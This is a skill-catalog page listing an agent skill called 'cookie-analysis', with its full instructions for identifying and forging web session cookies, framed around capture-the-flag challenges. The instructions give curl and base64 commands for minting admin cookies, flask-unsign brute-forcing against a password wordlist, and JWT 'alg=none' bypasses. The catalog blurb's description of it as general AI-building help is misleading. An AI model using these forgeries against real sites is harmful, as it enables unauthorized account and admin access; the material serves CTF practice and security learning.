Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
wgpsec avatar

Cookie Analysis

  • 12 installs
  • 1.6k repo stars
  • Updated July 19, 2026
  • wgpsec/aboutsecurity

Helps with ai & agent building tasks during AI-assisted development.

About

cookie-analysis is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.

  • cookie-analysis
  • AI & Agent Building
  • AI-coding skill

Cookie Analysis by the numbers

  • 12 all-time installs (skills.sh)
  • Ranked #11,618 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill cookie-analysis

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs12
repo stars1.6k
Last updatedJuly 19, 2026
Repositorywgpsec/aboutsecurity

What it does

Helps with ai & agent building tasks during AI-assisted development.

Files

SKILL.mdMarkdownGitHub ↗

Cookie Analysis & Forgery Methodology

When to Use

  • You found a session cookie and want to forge it
  • BEFORE running flask-unsign or any brute-force tool
  • When you need to bypass authentication via cookie manipulation

Step 1: Extract the cookie

curl -sI http://TARGET/ | grep -i set-cookie

Step 2: Identify cookie type

Test A: Base64 decode

echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"

If it decodes to valid JSONUNSIGNED BASE64 (most common in CTF!)

  • Attack: forge directly — takes 5 seconds
# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag
  • Try variations:
echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64

Test B: Flask itsdangerous signature

If the cookie has a . followed by a signature portion:

# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt

Test C: JWT

If the cookie has three base64 parts separated by .:

# Header.Payload.Signature
echo '<first_part>' | base64 -d  # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")

Test D: Encrypted/Binary

If base64 decode produces garbage → encrypted cookie

  • Need key or padding oracle attack
  • Check source code for encryption key

Step 3: Common bypass patterns

  • If unsigned: forge with user_id=1, role=admin, is_admin=true
  • If Flask-signed: try common keys ('secret', app name, etc.)
  • If JWT with alg=none: remove signature, set alg to "none"
  • If JWT with HS256: try common secrets, check for JWKS endpoint

Critical Reminders

  • NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
  • Always decode the cookie FIRST to determine its type
  • Base64 JSON cookies are the most common type in CTF challenges
  • Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes

Related skills

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.